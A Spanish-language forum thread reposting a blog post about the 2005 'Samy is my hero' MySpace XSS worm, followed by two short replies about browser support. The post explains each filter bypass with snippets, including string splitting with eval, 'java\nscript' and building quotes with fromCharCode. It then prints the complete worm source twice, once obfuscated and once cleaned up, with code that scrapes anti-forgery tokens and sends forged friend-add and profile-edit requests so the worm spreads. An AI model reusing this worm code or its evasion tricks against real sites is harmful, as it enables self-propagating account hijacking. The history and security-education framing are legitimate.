PDA

Ver la versión completa : Hackeos Memorables: Samy is My Hero



LUK
24-09-2010, 10:40
Octubre de 2005, Samy Kamkar (http://samy.pl/), un joven hacker de 19 años quiere modificar su perfil en la nueva red social MySpace. Le gustaría poder añadir algo que el resto de usuarios no pudiesen tener, pero casualmente descubre una vulnerabilidad que le permite ejecutar código javascript, o por lo menos, así es como el mismo describía el hallazgo en una entrevista (http://blogoscoped.com/archive/2005-10-14-n81.html).

La realidad seguramente sea otra, Samy había dedicado horas a estudiar el funcionamiento y los filtros que aplicaba la red social a todo el contenido que los usuarios podían añadir hasta que por fin encontró una forma de insertarlo saltándose todas las protecciones.

La vulnerabilidad era un XSS persistente (http://es.wikipedia.org/wiki/Cross-site_scripting#XSS_Directo_.28persistente.29) que explotaría con la creación del primer gusano en un servicio web. Todos los usuarios que visitasen su perfil modificarian el suyo añadiendo la frase "but most of all, samy is my hero." y añadiendo a Samy como amigo. En 24 horas Samy contaba con un 1.000.000 de solicitudes de amistad, convirtiéndose en el bicho con la propagación más rápida hasta la fecha.

El suceso se convirtió rápidamente en noticia de todos los medios, haciendo referencia en sitios como Slashdot (http://it.slashdot.org/it/05/10/14/126233.shtml?tid=172&tid=95&tid=220), The Register (http://www.theregister.co.uk/2005/10/17/web20_worm_knocks_out_myspaces/)o The Guardian (http://www.guardian.co.uk/media/2006/mar/09/newmedia.technology). Incluso se llegaron a vender camisetas (http://www.zazzle.com/products/product/product.asp?general%5Fcategory%5Fid=10341807987888 8722&caching=on&product%5Fid=235646581750291487&index=1) como la de la imagen superior.


http://4.bp.blogspot.com/_LztS6-97iyY/TJqYQ4K0rDI/AAAAAAAAF68/0TuEqW8lTrY/s400/919d.jpg (http://4.bp.blogspot.com/_LztS6-97iyY/TJqYQ4K0rDI/AAAAAAAAF68/0TuEqW8lTrY/s1600/919d.jpg)



Pese a que parece sencillo el proceso que Kamkar tuvo que desarrollar es digno de ser uno de los hackeos memorables más divertidos y didácticos. Los principales pasos y barreras que esquivó para lograr evadir todas las protecciones fueron estos once:

MySpace filtraba todas las etiquetas html menos <a>, <img> y <div> por lo que no se podía añadir contenido usando <script>s, <body> o los atributos onClicks, onAnythings, href con javascript, etcétera, aunque si permitia insertar CSS, que en algunos navegadores ejecuta jscript.
Ejemplo: <div style="background:url('javascript:alert(1)')">


El siguiente problema era insertar comillas dobles en el código javascript, ya que se habían usado en la etiqueta div, tanto las simples como las dobles y no se podían volver a utilizar. Para solucionar el problema usó una expresión para almacenar el código y posteriormente ejecutarla.

Ejemplo: <div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycod e.expr)')">


¡¡Ya podía meter comillas simples!! otro pequeño filtro eliminaba la palabra "javascript", por lo que hubo que aprovechar que algunos navegadores la seguían procesando aunque estuviera compuesta con un retorno de linea en medio del tipo: java\nscript.
Ejemplo: <div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycod e.expr)')">


Por desgracia también era necesario usar las comillas dobles y con lo visto anteriormente no era suficiente. Pero esta vez resultaría más sencillo utilizando su equivalente ASCII.

Ejemplo: <div id="mycode" expr="alert('double quote: ' + String.fromCharCode(34))" style="background:url('javascript:eval(document.all.mycod e.expr)')">


Para obtener el código de la página era necesario acceder a document.body.innerHTML, pero la cadena "innerHTML" también estaba filtrada, por lo que había que componerla con un eval() cada vez que se necesitase.

Ejemplo: alert(eval('document.body.inne' + 'rHTML'));


Exactamente igual que en el punto anterior ocurría con la cadena onreadystatechange, necesaria para hacer peticiones GET y POST mediante XML-HTTP. Otro eval() solucionó el obstáculo.

Ejemplo: eval('xmlhttp.onread' + 'ystatechange = callback');


En este punto se hacía el primer GET para obtener el código fuente de la página y la lista de amigos del usuario, que eran almacenados para la propagación. La búsqueda se ejecutaba contra la cadena "friendID".

Ejemplo: var index = html.indexOf('frien' + 'dID');


Para añadir nuevos héroes hacía falta hacer un POST sobre una url que estaba en distinto subdominio, ya que todo el proceso se estaba ejecutando en profile.myspace.com y no sobre www.myspace.com (http://www.myspace.com) donde se encontraba la función addFriends. En esta situación Samy recargaba la página que corresponde si el dominio no concuerda y posteriormente lanzaba el POST con la correcta.

Ejemplo: if (location.hostname == 'profile.myspace.com') document.location = 'http://www.myspace.com' + location.pathname + location.search;


Antes de añadir un usuario era necesario encontrar un hash variable que hacía las funciones de token en una confirmación del tipo "¿Estás seguro que quieres añadir a Cris como amiga?", por lo que una nueva búsqueda en el código fuente y se vuelve a lanzar el POST.


El último paso era reproducir el código malicioso en los perfiles de los amigos, para lo que se hacen dos peticiones GET/POST nuevas


Por problemas de tamaño se ofuscó el código, se redujeron nombres de variables y se reutilizaron al máximo las funciones. Op-ti-mi-za-ci-ón
Para los más curiosos el código original que se puso en el perfil es el siguiente:


<div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}cat ch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromU RL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){docu ment.location='http://www.myspace.com'+location.pathname+location.search }else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ ,BH,true);if(BJ=='POST'){J.setRequestHeader('Conte nt-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=fals e}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE= AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes', '</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('sa my')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}} }function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}fu nction main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET ');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}v ar AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}fu nction httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xm lhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.se tRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>

En las siguientes líneas se muestra de forma más limpia y clara:



<div id=mycode style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')" expr="

var B = String.fromCharCode(34);
var A = String.fromCharCode(39);

function g()
{
var C;
try
{
var D = document.body.createTextRange();
C = D.htmlText
}
catch (e)
{
}
if (C)
{
return C
}
else
{
return eval('document.body.inne' + 'rHTML')
}
}

function getData(AU)
{
M = getFromURL(AU, 'friendID');
L = getFromURL(AU, 'Mytoken')
}

function getQueryParams()
{
var E = document.location.search;
var F = E.substring(1, E.length).split('&');
var AS = new Array();
for (var O = 0; O < F.length; O++)
{
var I = F[O].split('=');
AS[I[0]] = I[1]
}
return AS
}
var J;
var AS = getQueryParams();
var L = AS['Mytoken'];
var M = AS['friendID'];
if (location.hostname == 'profile.myspace.com')
{
document.location = 'http://www.myspace.com (http://www.myspace.com/)' + location.pathname + location.search
}
else
{
if (!M)
{
getData(g())
}
main()
}

function getClientFID()
{
return findIn(g(), 'up_launchIC( ' + A, A)
}

function nothing()
{
}

function paramsToString(AV)
{
var N = new String();
var O = 0;
for (var P in AV)
{
if (O > 0)
{
N += '&'
}
var Q = escape(AV[P]);
while (Q.indexOf('+') != -1)
{
Q = Q.replace('+', '%2B')
}
while (Q.indexOf('&') != -1)
{
Q = Q.replace('&', '%26')
}
N += P + '=' + Q;
O++
}
return N
}

function httpSend(BH, BI, BJ, BK)
{
if (!J)
{
return false
}
eval('J.onr' + 'eadystatechange=BI');
J.open(BJ, BH, true);
if (BJ == 'POST')
{
J.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
J.setRequestHeader('Content-Length', BK.length)
}
J.send(BK);
return true
}

function findIn(BF, BB, BC)
{
var R = BF.indexOf(BB) + BB.length;
var S = BF.substring(R, R + 1024);
return S.substring(0, S.indexOf(BC))
}

function getHiddenParameter(BF, BG)
{
return findIn(BF, 'name=' + B + BG + B + ' value=' + B, B)
}

function getFromURL(BF, BG)
{
var T;
if (BG == 'Mytoken')
{
T = B
}
else
{
T = '&'
}
var U = BG + '=';
var V = BF.indexOf(U) + U.length;
var W = BF.substring(V, V + 1024);
var X = W.indexOf(T);
var Y = W.substring(0, X);
return Y
}

function getXMLObj()
{
var Z = false;
if (window.XMLHttpRequest)
{
try
{
Z = new XMLHttpRequest()
}
catch (e)
{
Z = false
}
}
else if (window.ActiveXObject)
{
try
{
Z = new ActiveXObject('Msxml2.XMLHTTP')
}
catch (e)
{
try
{
Z = new ActiveXObject('Microsoft.XMLHTTP')
}
catch (e)
{
Z = false
}
}
}
return Z
}
var AA = g();
var AB = AA.indexOf('m' + 'ycode');
var AC = AA.substring(AB, AB + 4096);
var AD = AC.indexOf('D' + 'IV');
var AE = AC.substring(0, AD);
var AF;
if (AE)
{
AE = AE.replace('jav' + 'a', A + 'jav' + 'a');
AE = AE.replace('exp' + 'r)', 'exp' + 'r)' + A);
AF = ' but most of all, samy is my hero. <d' + 'iv id=' + AE + 'D' + 'IV>'
}
var AG;

function getHome()
{
if (J.readyState != 4)
{
return
}
var AU = J.responseText;
AG = findIn(AU, 'P' + 'rofileHeroes', '</td>');
AG = AG.substring(61, AG.length);
if (AG.indexOf('samy') == -1)
{
if (AF)
{
AG += AF;
var AR = getFromURL(AU, 'Mytoken');
var AS = new Array();
AS['interestLabel'] = 'heroes';
AS['submit'] = 'Preview';
AS['interest'] = AG;
J = getXMLObj();
httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken=' +
AR, postHero, 'POST', paramsToString(AS))
}
}
}

function postHero()
{
if (J.readyState != 4)
{
return
}
var AU = J.responseText;
var AR = getFromURL(AU, 'Mytoken');
var AS = new Array();
AS['interestLabel'] = 'heroes';
AS['submit'] = 'Submit';
AS['interest'] = AG;
AS['hash'] = getHiddenParameter(AU, 'hash');
httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken=' +
AR, nothing, 'POST', paramsToString(AS))
}

function main()
{
var AN = getClientFID();
var BH = '/index.cfm?fuseaction=user.viewProfile&friendID=' + AN +
'&Mytoken=' + L;
J = getXMLObj();
httpSend(BH, getHome, 'GET');
xmlhttp2 = getXMLObj();
httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&
amp;Mytoken=' + L, processxForm, 'GET')
}

function processxForm()
{
if (xmlhttp2.readyState != 4)
{
return
}
var AU = xmlhttp2.responseText;
var AQ = getHiddenParameter(AU, 'hashcode');
var AR = getFromURL(AU, 'Mytoken');
var AS = new Array();
AS['hashcode'] = AQ;
AS['friendID'] = '11851658';
AS['submit'] = 'Add to Friends';
httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken=' +
AR, nothing, 'POST', paramsToString(AS))
}

function httpSend2(BH, BI, BJ, BK)
{
if (!xmlhttp2)
{
return false
}
eval('xmlhttp2.onr' + 'eadystatechange=BI');
xmlhttp2.open(BJ, BH, true);
if (BJ == 'POST')
{
xmlhttp2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xmlhttp2.setRequestHeader('Content-Length', BK.length)
}
xmlhttp2.send(BK);
return true
}
}"></DIV>

Por desgracia, por esta "broma" a Samy le condenaron con una pena ejemplar (http://www.securecomputing.net.au/News/72436,myspace-superworm-creator-sentenced-to-probation-community-service.aspx) de tres años de libertad condicional, 90 días de servicios para la comunidad y una multa económica de una cantidad desconocida.


Seguramente sea una mala idea, pero podéis seguir a Kamkar en su twitter: @samykamkar (http://twitter.com/samykamkar).

Referencias:


Wikipedia - Samy (XSS) (http://en.wikipedia.org/wiki/Samy_%28XSS%29#cite_note-2)
Página personal de Samy Kamkar (http://samy.pl/)
Detalles técnicos de Samy is My Hero (http://namb.la/popular/tech.html)
MySpace superworm creator sentenced to probation, community service (http://www.securecomputing.net.au/News/72436,myspace-superworm-creator-sentenced-to-probation-community-service.aspx)
Samy, Their Hero (http://blogoscoped.com/archive/2005-10-14-n81.html)
Publicado por Alejandro Ramos en http://www.securitybydefault.com/2010/09/hackemos-memorables-samy-is-my-hero.html

biyonder
07-10-2010, 09:32
El post está bastante interesante, sobre todo para conocer algunos truquillos ingeniosos. El caso es que al ir probando algunas técnicas, el de background:url(código) no me sale ni en firefox ni en IExplore. Ahí pone que depende del navegador. ¿Sabéis en qué navegador/es funciona? El código de prueba es el siguiente:

<div style="background:url('javascript:alert(1)')">HOLA</div>

Gracias, un saludo.

Fruit
07-10-2010, 12:15
El post está bastante interesante, sobre todo para conocer algunos truquillos ingeniosos. El caso es que al ir probando algunas técnicas, el de background:url(código) no me sale ni en firefox ni en IExplore. Ahí pone que depende del navegador. ¿Sabéis en qué navegador/es funciona? El código de prueba es el siguiente:

<div style="background:url('javascript:alert(1)')">HOLA</div>

Gracias, un saludo.

Posiblemente Internet Explorer 6. Aquí hay un estudio muy bueno sobre la seguridad en los navegadores: http://code.google.com/p/browsersec/wiki/Main (clic en Part 1, Part 2, Part 3...). Según recuerdo hablaban de eso.